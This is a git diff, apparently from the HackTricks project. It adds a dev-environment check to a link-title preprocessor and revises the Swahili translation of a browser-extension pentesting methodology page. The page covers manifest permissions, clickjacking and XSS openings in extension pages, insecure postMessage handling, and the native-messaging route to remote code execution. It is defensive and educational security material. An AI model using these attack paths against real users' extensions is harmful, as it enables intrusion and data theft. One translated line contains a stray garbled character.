(.*?)', raw_html)
- title = match.group(1) if match else href
- except Exception as e:
- logger.debug(f'Error opening URL {href}: {e}')
- pass #nDont stop on broken link
+ if context['config']['preprocessor']['hacktricks']['env'] == 'dev':
+ pass
+ else:
+ try:
+ raw_html = str(urlopen(Request(href, headers={'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0'})).read())
+ match = re.search('(.*?)', raw_html)
+ title = match.group(1) if match else href
+ except Exception as e:
+ logger.debug(f'Error opening URL {href}: {e}')
+ pass #nDont stop on broken link
else:
try:
if href.endswith("/"):
@@ -90,7 +92,7 @@ if __name__ == '__main__':
context, book = json.load(sys.stdin)
logger.debug(f"Context: {context}")
-
+ logger.debug(f"Env: {context['config']['preprocessor']['hacktricks']['env']}")
for chapter in iterate_chapters(book['sections']):
logger.debug(f"Chapter: {chapter['path']}")
diff --git a/src/1911-pentesting-fox.md b/src/1911-pentesting-fox.md
index bd71a46c7..fb40b94d0 100644
--- a/src/1911-pentesting-fox.md
+++ b/src/1911-pentesting-fox.md
@@ -12,7 +12,7 @@ dht udp "DHT Nodes"
![]()
-![]()
+![]()
InfluxDB
@@ -24,6 +24,6 @@ InfluxDB
![]()
-![]()
+![]()
{{#include ./banners/hacktricks-training.md}}
diff --git a/src/pentesting-web/browser-extension-pentesting-methodology/README.md b/src/pentesting-web/browser-extension-pentesting-methodology/README.md
index a269081d5..abedbf58b 100644
--- a/src/pentesting-web/browser-extension-pentesting-methodology/README.md
+++ b/src/pentesting-web/browser-extension-pentesting-methodology/README.md
@@ -4,38 +4,38 @@
## Basic Information
-Extensions za kivinjari zimeandikwa kwa JavaScript na hupakiwa na kivinjari katika hali ya nyuma. Ina [DOM](https://www.w3schools.com/js/js_htmldom.asp) yake lakini inaweza kuingiliana na DOM za tovuti nyingine. Hii inamaanisha kwamba inaweza kuhatarisha usiri, uadilifu, na upatikanaji (CIA) wa tovuti nyingine.
+Extensions za kivinjari zimeandikwa kwa JavaScript na hupakiwa na kivinjari katika mandharinyuma. Ina [DOM](https://www.w3schools.com/js/js_htmldom.asp) yake lakini inaweza kuingiliana na DOM za tovuti nyingine. Hii inamaanisha kwamba inaweza kuhatarisha usiri, uadilifu, na upatikanaji (CIA) wa tovuti nyingine.
## Main Components
-Muundo wa nyongeza unaonekana bora unapofikiriwa na unajumuisha vipengele vitatu. Hebu tuangalie kila kipengele kwa undani.
+Muonekano wa nyongeza unaonekana bora unapofanywa kuwa wazi na unajumuisha vipengele vitatu. Hebu tuangalie kila kipengele kwa undani.
### **Content Scripts**
-Kila script ya maudhui ina ufikiaji wa moja kwa moja kwa DOM ya **ukurasa mmoja wa wavuti** na hivyo inakabiliwa na **ingizo linaloweza kuwa na uharibifu**. Hata hivyo, script ya maudhui haina ruhusa nyingine isipokuwa uwezo wa kutuma ujumbe kwa msingi wa nyongeza.
+Kila script ya maudhui ina ufikiaji wa moja kwa moja kwa DOM ya **ukurasa mmoja wa wavuti** na hivyo inakabiliwa na **ingizo linaloweza kuwa na madhara**. Hata hivyo, script ya maudhui haina ruhusa nyingine isipokuwa uwezo wa kutuma ujumbe kwa kiini cha nyongeza.
### **Extension Core**
-Msingi wa nyongeza unajumuisha ruhusa nyingi za nyongeza, lakini msingi wa nyongeza unaweza kuingiliana tu na maudhui ya wavuti kupitia [XMLHttpRequest](https://developer.mozilla.org/en-US/docs/Web/API/XMLHttpRequest) na scripts za maudhui. Pia, msingi wa nyongeza haina ufikiaji wa moja kwa moja kwa mashine mwenyeji.
+Kiini cha nyongeza kina ruhusa nyingi za nyongeza, lakini kiini cha nyongeza kinaweza kuingiliana tu na maudhui ya wavuti kupitia [XMLHttpRequest](https://developer.mozilla.org/en-US/docs/Web/API/XMLHttpRequest) na scripts za maudhui. Pia, kiini cha nyongeza hakina ufikiaji wa moja kwa moja kwa mashine mwenyeji.
### **Native Binary**
-Nyongeza inaruhusu binary asilia ambayo inaweza **kufikia mashine mwenyeji kwa ruhusa kamili ya mtumiaji.** Binary asilia inaingiliana na msingi wa nyongeza kupitia Kiolesura cha Programu ya Plugin ya Netscape ya kawaida ([NPAPI](https://en.wikipedia.org/wiki/NPAPI)) inayotumiwa na Flash na nyongeza nyingine za kivinjari.
+Nyongeza inaruhusu binary asilia ambayo inaweza **kufikia mashine mwenyeji kwa ruhusa kamili ya mtumiaji.** Binary asilia inaingiliana na kiini cha nyongeza kupitia Kiolesura cha Programu ya Plugin ya Netscape ya kawaida ([NPAPI](https://en.wikipedia.org/wiki/NPAPI)) inayotumiwa na Flash na nyongeza nyingine za kivinjari.
### Boundaries
> [!CAUTION]
-> Ili kupata ruhusa kamili ya mtumiaji, mshambuliaji lazima amshawishi nyongeza kupitisha ingizo la uharibifu kutoka kwa script ya maudhui hadi msingi wa nyongeza na kutoka kwa msingi wa nyongeza hadi binary asilia.
+> Ili kupata ruhusa kamili ya mtumiaji, mshambuliaji lazima amshawishi nyongeza kupitisha ingizo la madhara kutoka kwa script ya maudhui hadi kiini cha nyongeza na kutoka kwa kiini cha nyongeza hadi binary asilia.
-Kila kipengele cha nyongeza kimewekwa mbali na kingine kwa **mipaka yenye ulinzi mkali**. Kila kipengele kinakimbia katika **mchakato tofauti wa mfumo wa uendeshaji**. Scripts za maudhui na misingi ya nyongeza zinakimbia katika **mchakato wa sandbox** ambao haupatikani kwa huduma nyingi za mfumo wa uendeshaji.
+Kila kipengele cha nyongeza kimewekwa mbali na kingine kwa **mipaka yenye ulinzi mkali**. Kila kipengele kinakimbia katika **mchakato tofauti wa mfumo wa uendeshaji**. Scripts za maudhui na viini vya nyongeza vinakimbia katika **mchakato wa sandbox** ambao haupatikani kwa huduma nyingi za mfumo wa uendeshaji.
-Zaidi ya hayo, scripts za maudhui zimej separated kutoka kwa kurasa zao za wavuti kwa **kukimbia katika heap tofauti ya JavaScript**. Script ya maudhui na ukurasa wa wavuti zina **ufikiaji wa DOM sawa ya msingi**, lakini hizo mbili **hazibadilishani viashiria vya JavaScript**, kuzuia kuvuja kwa kazi za JavaScript.
+Zaidi ya hayo, scripts za maudhui zimej separated kutoka kwa kurasa zao za wavuti kwa **kukimbia katika heap tofauti ya JavaScript**. Script ya maudhui na ukurasa wa wavuti vina **ufikiaji wa DOM sawa ya msingi**, lakini viwili **havibadilishani viashiria vya JavaScript**, kuzuia kuvuja kwa kazi za JavaScript.
## **`manifest.json`**
-Nyongeza ya Chrome ni tu folda ya ZIP yenye [.crx file extension](https://www.lifewire.com/crx-file-2620391). Msingi wa nyongeza ni **`manifest.json`** faili katika mzizi wa folda, ambayo inaelezea muundo, ruhusa, na chaguzi zingine za usanidi.
+Nyongeza ya Chrome ni tu folda ya ZIP yenye [.crx file extension](https://www.lifewire.com/crx-file-2620391). Kiini cha nyongeza ni **`manifest.json`** faili katika mzizi wa folda, ambayo inaelezea muundo, ruhusa, na chaguzi zingine za usanidi.
Example:
```json
@@ -78,7 +78,7 @@ Content scripts zina **pakiwa** kila wakati mtumiaji **anapohamia kwenye ukurasa
```
Ili kujumuisha au kutenga URL zaidi, pia inawezekana kutumia **`include_globs`** na **`exclude_globs`**.
-Hii ni mfano wa script ya maudhui ambayo itaongeza kitufe cha maelezo kwenye ukurasa wakati [API ya hifadhi](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/storage) inatumika kupata thamani ya `message` kutoka kwenye hifadhi ya nyongeza.
+Hii ni mfano wa skripti ya maudhui ambayo itaongeza kitufe cha maelezo kwenye ukurasa wakati [API ya hifadhi](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/storage) inatumika kupata thamani ya `message` kutoka kwenye hifadhi ya nyongeza.
```js
chrome.storage.local.get("message", (result) => {
let div = document.createElement("div")
@@ -91,22 +91,22 @@ document.body.appendChild(div)
```
-Ujumbe unatumwa kwa kurasa za nyongeza na script ya maudhui wakati kitufe hiki kinapobonyezwa, kupitia matumizi ya [**runtime.sendMessage() API**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/runtime/sendMessage). Hii ni kutokana na kikomo cha script ya maudhui katika ufikiaji wa moja kwa moja wa APIs, ambapo `storage` ni miongoni mwa ubaguzi wachache. Kwa kazi zaidi ya ubaguzi hizi, ujumbe unatumwa kwa kurasa za nyongeza ambazo script za maudhui zinaweza kuwasiliana nazo.
+Ujumbe unatumwa kwa kurasa za nyongeza na script ya maudhui wakati kitufe hiki kinapobonyezwa, kupitia matumizi ya [**runtime.sendMessage() API**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/runtime/sendMessage). Hii ni kutokana na kikomo cha script ya maudhui katika ufikiaji wa moja kwa moja wa APIs, ambapo `storage` ni miongoni mwa visثi vichache. Kwa kazi zaidi ya visثi hivi, ujumbe unatumwa kwa kurasa za nyongeza ambazo script za maudhui zinaweza kuwasiliana nazo.
> [!WARNING]
-> Kulingana na kivinjari, uwezo wa script ya maudhui unaweza kutofautiana kidogo. Kwa vivinjari vinavyotegemea Chromium, orodha ya uwezo inapatikana katika [Chrome Developers documentation](https://developer.chrome.com/docs/extensions/mv3/content_scripts/#capabilities), na kwa Firefox, [MDN](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/Content_scripts#webextension_apis) inatumika kama chanzo kikuu.\
+> Kulingana na kivinjari, uwezo wa script ya maudhui unaweza kutofautiana kidogo. Kwa kivinjari kinachotegemea Chromium, orodha ya uwezo inapatikana katika [Chrome Developers documentation](https://developer.chrome.com/docs/extensions/mv3/content_scripts/#capabilities), na kwa Firefox, [MDN](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/Content_scripts#webextension_apis) inatumika kama chanzo kikuu.\
> Pia ni muhimu kutambua kwamba script za maudhui zina uwezo wa kuwasiliana na script za nyuma, na kuwapa uwezo wa kutekeleza vitendo na kurudisha majibu.
Ili kuona na kufanyia kazi script za maudhui katika Chrome, menyu ya zana za maendeleo za Chrome inaweza kufikiwa kutoka Options > More tools > Developer tools AU kwa kubonyeza Ctrl + Shift + I.
Baada ya zana za maendeleo kuonyeshwa, **Source tab** inapaswa kubonyezwa, ikifuatiwa na **Content Scripts** tab. Hii inaruhusu kuangalia script za maudhui zinazotumika kutoka nyongeza mbalimbali na kuweka alama za kuvunja ili kufuatilia mtiririko wa utekelezaji.
-### Script za maudhui zilizoongezwa
+### Script za maudhui zilizowekwa
> [!TIP]
-> Kumbuka kwamba **Script za Maudhui si lazima** kwani pia inawezekana **kudumu** **kuongeza** script na **kuziingiza kimaandishi** katika kurasa za wavuti kupitia **`tabs.executeScript`**. Hii kwa kweli inatoa **udhibiti wa kina** zaidi.
+> Kumbuka kwamba **Script za Maudhui si lazima** kwani pia inawezekana **kudumu** **kuweka** script na **kuziweka kimaandishi** kwenye kurasa za wavuti kupitia **`tabs.executeScript`**. Hii kwa kweli inatoa **udhibiti wa kina** zaidi.
-Kwa kuingiza script ya maudhui kimaandishi, nyongeza inahitaji kuwa na [host permissions](https://developer.chrome.com/docs/extensions/reference/permissions) kwa ukurasa ambao script zitakuwa zinaingizwa. Ruhusa hizi zinaweza kupatikana ama kwa **kuziomba** ndani ya hati ya nyongeza au kwa msingi wa muda kupitia [**activeTab**](https://developer.chrome.com/docs/extensions/reference/manifest/activeTab).
+Kwa kuweka script ya maudhui kimaandishi, nyongeza inahitaji kuwa na [host permissions](https://developer.chrome.com/docs/extensions/reference/permissions) kwa ukurasa ambao script zitakwekwa. Ruhusa hizi zinaweza kupatikana ama kwa **kuziomba** ndani ya hati ya nyongeza au kwa msingi wa muda kupitia [**activeTab**](https://developer.chrome.com/docs/extensions/reference/manifest/activeTab).
#### Mfano wa nyongeza inayotegemea activeTab
```json:manifest.json
@@ -175,7 +175,7 @@ Sehemu ya `run_at` inasimamia **wakati faili za JavaScript zinapoinjikwa kwenye
Thamani zinazowezekana ni:
-- **`document_idle`**: Kadri inavyowezekana
+- **`document_idle`**: Wakati wowote iwezekanavyo
- **`document_start`**: Baada ya faili zozote kutoka `css`, lakini kabla ya DOM nyingine yoyote kujengwa au script nyingine yoyote kuendeshwa.
- **`document_end`**: Mara moja baada ya DOM kukamilika, lakini kabla ya rasilimali ndogo kama picha na fremu kupakiwa.
@@ -214,7 +214,7 @@ Meseji zinazotumwa na scripts za maudhui zinapokelewa na **background page**, am
- **Jukumu la Background Page:** Inafanya kazi kama kituo cha neva kwa nyongeza, kuhakikisha mawasiliano na uratibu kati ya sehemu mbalimbali za nyongeza.
- **Uthabiti:** Ni kitu kinachokuwepo kila wakati, kisichoonekana kwa mtumiaji lakini muhimu kwa utendaji wa nyongeza.
-- **Uundaji Otomatiki:** Ikiwa haijafafanuliwa wazi, kivinjari kitaunda kiotomatiki background page. Ukurasa huu ulioundwa kiotomatiki utajumuisha scripts zote za background zilizotajwa katika hati ya nyongeza, kuhakikisha uendeshaji usio na mshikemshike wa kazi za background za nyongeza.
+- **Uundaji Otomatiki:** Ikiwa haijafafanuliwa wazi, kivinjari kitaunda kiotomatiki background page. Ukurasa huu ulioundwa kiotomatiki utajumuisha scripts zote za background zilizotajwa katika hati ya nyongeza, kuhakikisha uendeshaji usio na mshono wa kazi za background za nyongeza.
> [!TIP]
> Urahisi unaotolewa na kivinjari katika kuunda kiotomatiki background page (wakati haijatangazwa wazi) unahakikisha kwamba scripts zote muhimu za background zimeunganishwa na zinafanya kazi, ikirahisisha mchakato wa kuweka nyongeza.
@@ -252,7 +252,7 @@ Kumbuka kwamba kurasa hizi si za kudumu kama kurasa za nyuma kwani zinapakia mau
**`permissions`** na **`host_permissions`** ni entries kutoka `manifest.json` ambazo zitaonyesha **ni ruhusa zipi** nyongeza za kivinjari zina (hifadhi, eneo...) na katika **kurasa zipi za wavuti**.
-Kama nyongeza za kivinjari zinaweza kuwa na **mamlaka makubwa**, moja mbaya au moja iliyovunjwa inaweza kumruhusu mshambuliaji **njia tofauti za kuiba taarifa nyeti na kupeleleza mtumiaji**.
+Kama nyongeza za kivinjari zinaweza kuwa **na mamlaka makubwa**, moja mbaya au moja iliyovunjwa inaweza kumruhusu mshambuliaji **njia tofauti za kuiba taarifa nyeti na kupeleleza mtumiaji**.
Angalia jinsi mipangilio hii inavyofanya kazi na jinsi inaweza kutumika vibaya katika:
@@ -262,13 +262,13 @@ browext-permissions-and-host_permissions.md
### `content_security_policy`
-**sera ya usalama wa maudhui** inaweza kutangazwa pia ndani ya `manifest.json`. Ikiwa kuna moja iliyofafanuliwa, inaweza kuwa **hatari**.
+**sera ya usalama wa maudhui** inaweza kutangazwa pia ndani ya `manifest.json`. Ikiwa kuna moja iliyofafanuliwa, inaweza kuwa **na hatari**.
Mipangilio ya default kwa kurasa za nyongeza za kivinjari ni ya kukatisha tamaa:
```bash
script-src 'self'; object-src 'self';
```
-Kwa maelezo zaidi kuhusu CSP na uwezekano wa kupita angalia:
+Kwa maelezo zaidi kuhusu CSP na uwezekano wa kupita, angalia:
{{#ref}}
../content-security-policy-csp-bypass/
@@ -305,7 +305,7 @@ Katika nyongeza za umma, **extension-id inapatikana**:
Hata hivyo, ikiwa parameter ya `manifest.json` **`use_dynamic_url`** inatumika, **id hii inaweza kuwa ya dynamic**.
> [!TIP]
-> Kumbuka kwamba hata kama ukurasa umeelezewa hapa, unaweza kuwa **umejilinda dhidi ya ClickJacking** kwa sababu ya **Content Security Policy**. Hivyo unahitaji kuangalia pia (sehemu ya frame-ancestors) kabla ya kuthibitisha kuwa shambulio la ClickJacking linawezekana.
+> Kumbuka kwamba hata kama ukurasa umeelezewa hapa, unaweza kuwa **umejilinda dhidi ya ClickJacking** kutokana na **Content Security Policy**. Hivyo unahitaji pia kuangalia (sehemu ya frame-ancestors) kabla ya kuthibitisha kuwa shambulio la ClickJacking linawezekana.
Kuruhusiwa kufikia kurasa hizi kunafanya kurasa hizi **kuwa na uwezekano wa kuwa na udhaifu wa ClickJacking**:
@@ -314,16 +314,16 @@ browext-clickjacking.md
{{#endref}}
> [!TIP]
-> Kuruhusu kurasa hizi kupakuliwa tu na nyongeza na si kwa URL za nasibu kunaweza kuzuia mashambulizi ya ClickJacking.
+> Kuruhusu kurasa hizi kupakuliwa tu na nyongeza na si na URL za nasibu kunaweza kuzuia mashambulizi ya ClickJacking.
> [!CAUTION]
> Kumbuka kwamba kurasa kutoka **`web_accessible_resources`** na kurasa nyingine za nyongeza pia zina uwezo wa **kuwasiliana na scripts za nyuma**. Hivyo ikiwa moja ya kurasa hizi ina udhaifu wa **XSS** inaweza kufungua udhaifu mkubwa zaidi.
>
-> Aidha, kumbuka kwamba unaweza kufungua tu kurasa zilizoonyeshwa katika **`web_accessible_resources`** ndani ya iframes, lakini kutoka kwenye tab mpya inawezekana kufikia ukurasa wowote katika nyongeza ukijua extension ID. Hivyo, ikiwa XSS inapatikana ikitumia vigezo sawa, inaweza kutumika hata kama ukurasa haujawekwa katika **`web_accessible_resources`**.
+> Zaidi ya hayo, kumbuka kwamba unaweza kufungua tu kurasa zilizoonyeshwa katika **`web_accessible_resources`** ndani ya iframes, lakini kutoka kwenye tab mpya inawezekana kufikia ukurasa wowote katika nyongeza ukijua extension ID. Hivyo, ikiwa XSS inapatikana ikitumia vigezo sawa, inaweza kutumika hata kama ukurasa haujawekwa katika **`web_accessible_resources`**.
### `externally_connectable`
-Kulingana na [**docs**](https://developer.chrome.com/docs/extensions/reference/manifest/externally-connectable), Mali ya `"externally_connectable"` katika manifest inatangaza **ni nyongeza zipi na kurasa za wavuti zinaweza kuungana** na nyongeza yako kupitia [runtime.connect](https://developer.chrome.com/docs/extensions/reference/runtime#method-connect) na [runtime.sendMessage](https://developer.chrome.com/docs/extensions/reference/runtime#method-sendMessage).
+Kulingana na [**docs**](https://developer.chrome.com/docs/extensions/reference/manifest/externally-connectable), Mali ya `"externally_connectable"` ya manifest inatangaza **ni nyongeza zipi na kurasa za wavuti zinaweza kuungana** na nyongeza yako kupitia [runtime.connect](https://developer.chrome.com/docs/extensions/reference/runtime#method-connect) na [runtime.sendMessage](https://developer.chrome.com/docs/extensions/reference/runtime#method-sendMessage).
- Ikiwa funguo ya **`externally_connectable`** **haijatangazwa** katika manifest ya nyongeza yako au imetangazwa kama **`"ids": ["*"]`**, **nyongeza zote zinaweza kuungana, lakini hakuna kurasa za wavuti zinaweza kuungana**.
- Ikiwa **IDs maalum zimeelezwa**, kama katika `"ids": ["aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"]`, **ni hizo programu pekee** zinaweza kuungana.
@@ -401,7 +401,7 @@ Mahali ambapo inahitajika kutaja **kitambulisho cha nyongeza**.
### Ujumbe wa Asili
-Inawezekana kwa skripti za nyuma kuwasiliana na binaries ndani ya mfumo, ambayo yanaweza kuwa **na hatari za msingi kama RCEs** ikiwa mawasiliano haya hayajashughulikiwa ipasavyo. [More on this later](./#native-messaging).
+Inawezekana kwa skripti za nyuma kuwasiliana na binaries ndani ya mfumo, ambayo yanaweza kuwa **na udhaifu mkubwa kama RCEs** ikiwa mawasiliano haya hayajashughulikiwa ipasavyo. [More on this later](./#native-messaging).
```javascript
chrome.runtime.sendNativeMessage(
"com.my_company.my_application",
@@ -413,7 +413,7 @@ console.log("Received " + response)
```
## Web **↔︎** Mawasiliano ya Skripti za Maudhui
-Mazingira ambapo **skripti za maudhui** zinafanya kazi na ambapo kurasa za mwenyeji zipo ni **separated** kutoka kwa kila mmoja, kuhakikisha **isolation**. Licha ya isolation hii, zote zina uwezo wa kuingiliana na **Document Object Model (DOM)** ya ukurasa, rasilimali inayoshirikiwa. Ili ukurasa wa mwenyeji uweze kushiriki katika mawasiliano na **skripti ya maudhui**, au kwa njia isiyo ya moja kwa moja na nyongeza kupitia skripti ya maudhui, inahitajika kutumia **DOM** inayopatikana na pande zote kama njia ya mawasiliano.
+Mazingira ambapo **skripti za maudhui** zinafanya kazi na ambapo kurasa za mwenyeji zipo ni **separated** kutoka kwa kila mmoja, kuhakikisha **isolation**. Licha ya **isolation** hii, zote zina uwezo wa kuingiliana na **Document Object Model (DOM)** ya ukurasa, rasilimali inayoshirikiwa. Ili ukurasa wa mwenyeji ushiriki katika mawasiliano na **skripti za maudhui**, au kwa njia isiyo ya moja kwa moja na nyongeza kupitia skripti za maudhui, inahitajika kutumia **DOM** inayopatikana na pande zote kama njia ya mawasiliano.
### Post Messages
```javascript:content-script.js
@@ -458,7 +458,7 @@ Mawasiliano salama ya Post Message yanapaswa kuangalia uhalali wa ujumbe ulipoke
- Ikiwa regex inatumika, kuwa makini sana
- **Chanzo**: `received_message.source !== window` inaweza kutumika kuangalia ikiwa ujumbe ulikuwa **kutoka kwenye dirisha lile lile** ambapo Skripti ya Maudhui inasikiliza.
-Ukaguzi wa awali, hata kama umefanywa, unaweza kuwa na udhaifu, hivyo angalia kwenye ukurasa ufuatao **mipango ya Post Message**:
+Ukaguzi wa awali, hata kama umefanywa, unaweza kuwa na udhaifu, hivyo angalia kwenye ukurasa ufuatao **mipango ya Post Message inayoweza kupuuziliwa mbali**:
{{#ref}}
../postmessage-vulnerabilities/
@@ -484,7 +484,7 @@ browext-xss-example.md
## Mawasiliano ya Skripti ya Maudhui **↔︎** Skripti ya Nyuma
-Skripti ya Maudhui inaweza kutumia kazi [**runtime.sendMessage()**](https://developer.chrome.com/docs/extensions/reference/runtime#method-sendMessage) **au** [**tabs.sendMessage()**](https://developer.chrome.com/docs/extensions/reference/tabs#method-sendMessage) kutuma ujumbe **wa mara moja unaoweza kuandikwa kwa JSON**.
+Skripti ya Maudhui inaweza kutumia kazi [**runtime.sendMessage()**](https://developer.chrome.com/docs/extensions/reference/runtime#method-sendMessage) **au** [**tabs.sendMessage()**](https://developer.chrome.com/docs/extensions/reference/tabs#method-sendMessage) kutuma ujumbe **wa mara moja unaoweza kuwasilishwa kwa JSON**.
Ili kushughulikia **jibu**, tumia **Promise** iliyorejeshwa. Ingawa, kwa ajili ya ulinganifu wa nyuma, bado unaweza kupitisha **callback** kama hoja ya mwisho.
@@ -525,7 +525,7 @@ Katika mfano ulioangaziwa, **`sendResponse()`** ilitekelezwa kwa njia ya synchro
Kitu muhimu cha kuzingatia ni kwamba katika hali ambapo kurasa nyingi zimewekwa kupokea matukio ya `onMessage`, **kurasa ya kwanza kutekeleza `sendResponse()`** kwa tukio maalum itakuwa pekee inayoweza kutoa jibu kwa ufanisi. Majibu yoyote yanayofuata kwa tukio hilo hilo hayatazingatiwa.
-Wakati wa kuunda nyongeza mpya, upendeleo unapaswa kuwa kwa ahadi badala ya callbacks. Kuhusu matumizi ya callbacks, kazi ya `sendResponse()` inachukuliwa kuwa halali tu ikiwa inatekelezwa moja kwa moja ndani ya muktadha wa synchronous, au ikiwa mhandisi wa tukio unaonyesha operesheni ya asynchronous kwa kurudisha `true`. Ikiwa hakuna mhandisi anayerudisha `true` au ikiwa kazi ya `sendResponse()` imeondolewa kutoka kwenye kumbukumbu (garbage-collected), callback inayohusiana na kazi ya `sendMessage()` itachochewa kwa default.
+Wakati wa kuunda nyongeza mpya, upendeleo unapaswa kuwa kwa ahadi badala ya callbacks. Kuhusu matumizi ya callbacks, kazi ya `sendResponse()` inachukuliwa kuwa halali tu ikiwa inatekelezwa moja kwa moja ndani ya muktadha wa synchronous, au ikiwa mhandisi wa tukio unaonyesha operesheni ya asynchronous kwa kurudisha `true`. Ikiwa hakuna mhandisi yeyote anayerudisha `true` au ikiwa kazi ya `sendResponse()` imeondolewa kutoka kwenye kumbukumbu (garbage-collected), callback inayohusiana na kazi ya `sendMessage()` itachochewa kwa default.
## Ujumbe wa Asili
@@ -539,7 +539,7 @@ Nyongeza za kivinjari pia zinaruhusu kuwasiliana na **binaries katika mfumo kupi
"allowed_origins": ["chrome-extension://knldjmfmopnpolahpmmgbagdohdnhkik/"]
}
```
-Mahali ambapo `name` ni mfuatano unaopitishwa kwa [`runtime.connectNative()`](https://developer.chrome.com/docs/extensions/reference/api/runtime#method-connectNative) au [`runtime.sendNativeMessage()`](https://developer.chrome.com/docs/extensions/reference/api/runtime#method-sendNativeMessage) ili kuwasiliana na programu kutoka kwa skripti za nyuma za nyongeza ya kivinjari. `path` ni njia ya binary, kuna aina 1 tu halali ambayo ni stdio (tumia stdin na stdout) na `allowed_origins` inaonyesha nyongeza ambazo zinaweza kuipata (na haziwezi kuwa na wildcard).
+Mahali ambapo `name` ni mfuatano wa herufi uliotolewa kwa [`runtime.connectNative()`](https://developer.chrome.com/docs/extensions/reference/api/runtime#method-connectNative) au [`runtime.sendNativeMessage()`](https://developer.chrome.com/docs/extensions/reference/api/runtime#method-sendNativeMessage) kuwasiliana na programu kutoka kwa skripti za nyuma za nyongeza ya kivinjari. `path` ni njia ya binary, kuna aina 1 pekee halali ambayo ni stdio (tumia stdin na stdout) na `allowed_origins` inaonyesha nyongeza ambazo zinaweza kuipata (na haziwezi kuwa na wildcard).
Chrome/Chromium itatafuta json hii katika baadhi ya rejista za windows na baadhi ya njia katika macOS na Linux (maelezo zaidi katika [**docs**](https://developer.chrome.com/docs/extensions/develop/concepts/native-messaging)).
@@ -563,7 +563,7 @@ Katika [**hiki kipande cha blogu**](https://spaceraccoon.dev/universal-code-exec
3. Skripti ya nyuma inapita ujumbe kwa programu ya asili kwa kutumia `sendNativeMessage`.
4. Programu ya asili inashughulikia ujumbe kwa njia hatari, ikisababisha utekelezaji wa msimbo.
-Na ndani yake mfano wa **kuenda kutoka ukurasa wowote hadi RCE kwa kutumia kiendelezi cha kivinjari umeelezewa**.
+Na ndani yake mfano wa **kuenda kutoka ukurasa wowote hadi RCE kwa kutumia kiendelezi cha kivinjari unafafanuliwa**.
## Taarifa Nyeti katika Kumbukumbu/Msimbo/Clipboard
@@ -585,7 +585,7 @@ Zaidi ya hayo, taarifa nyeti sana kama vile funguo za kumbukumbu au nywila **haz
Katika **Firefox** unakwenda kwenye **`about:debugging#/runtime/this-firefox`** na bonyeza kitufe cha **`Load Temporary Add-on`**.
-## Kupata msimbo wa chanzo kutoka duka
+## Kupata msimbo wa chanzo kutoka dukani
Msimbo wa chanzo wa kiendelezi cha Chrome unaweza kupatikana kupitia njia mbalimbali. Hapa chini kuna maelezo ya kina na maagizo kwa kila chaguo.
@@ -604,34 +604,34 @@ unzip -d "$extension_id-source" "$extension_id.zip"
[https://robwu.nl/crxviewer/](https://robwu.nl/crxviewer/)
-### Tumia kiendelezi cha CRX Viewer
+### Tumia nyongeza ya CRX Viewer
Njia nyingine rahisi ni kutumia Chrome Extension Source Viewer, ambayo ni mradi wa chanzo wazi. Inaweza kupakuliwa kutoka [Chrome Web Store](https://chrome.google.com/webstore/detail/chrome-extension-source-v/jifpbeccnghkjeaalbbjmodiffmgedin?hl=en). Msimbo wa chanzo wa mtazamaji upatikana katika [GitHub repository](https://github.com/Rob--W/crxviewer).
-### Angalia chanzo cha kiendelezi kilichosakinishwa kwa ndani
+### Angalia chanzo cha nyongeza iliyosakinishwa kwa ndani
-Viendelezi vya Chrome vilivyowekwa ndani vinaweza pia kukaguliwa. Hapa kuna jinsi:
+Nyongeza za Chrome zilizowekwa ndani pia zinaweza kukaguliwa. Hapa kuna jinsi:
-1. Fikia saraka yako ya wasifu wa Chrome kwa kutembelea `chrome://version/` na kutafuta uwanja wa "Profile Path".
-2. Tembelea folda ndogo ya `Extensions/` ndani ya saraka ya wasifu.
-3. Folda hii ina viendelezi vyote vilivyowekwa, kwa kawaida na msimbo wao wa chanzo katika muundo unaoweza kusomeka.
+1. Fikia saraka yako ya ndani ya Chrome kwa kutembelea `chrome://version/` na kutafuta uwanja wa "Profile Path".
+2. Tembelea ndogo ya `Extensions/` ndani ya saraka ya wasifu.
+3. Folda hii ina nyongeza zote zilizowekwa, kwa kawaida zikiwa na msimbo wao wa chanzo katika muundo unaoweza kusomeka.
-Ili kubaini viendelezi, unaweza kuoanisha IDs zao na majina:
+Ili kubaini nyongeza, unaweza kuoanisha vitambulisho vyao na majina:
-- Washa Mode ya Developer kwenye ukurasa wa `about:extensions` ili kuona IDs za kila kiendelezi.
-- Ndani ya folda ya kila kiendelezi, faili ya `manifest.json` ina uwanja wa `name` unaoweza kusomeka, ikikusaidia kubaini kiendelezi.
+- Washa Mode ya Developer kwenye ukurasa wa `about:extensions` ili kuona vitambulisho vya kila nyongeza.
+- Ndani ya folda ya kila nyongeza, faili ya `manifest.json` ina uwanja wa `name` unaoweza kusomeka, ikikusaidia kubaini nyongeza hiyo.
### Tumia Mchambuzi wa Faili au Unpacker
-Nenda kwenye Chrome Web Store na upakue kiendelezi. Faili itakuwa na kiambishi cha `.crx`. Badilisha kiambishi cha faili kutoka `.crx` hadi `.zip`. Tumia mchambuzi wowote wa faili (kama WinRAR, 7-Zip, nk.) kutoa yaliyomo ya faili ya ZIP.
+Nenda kwenye Chrome Web Store na upakue nyongeza. Faili itakuwa na kiambishi cha `.crx`. Badilisha kiambishi cha faili kutoka `.crx` kuwa `.zip`. Tumia mchambuzi wowote wa faili (kama WinRAR, 7-Zip, nk.) kutoa yaliyomo ya faili ya ZIP.
-### Tumia Mode ya Developer kwenye Chrome
+### Tumia Mode ya Developer katika Chrome
-Fungua Chrome na nenda kwenye `chrome://extensions/`. Washa "Developer mode" kwenye kona ya juu kulia. Bonyeza "Load unpacked extension...". Tembelea saraka ya kiendelezi chako. Hii haisaidii kupakua msimbo wa chanzo, lakini ni muhimu kwa kutazama na kubadilisha msimbo wa kiendelezi ambacho tayari kimepakuliwa au kimeandaliwa.
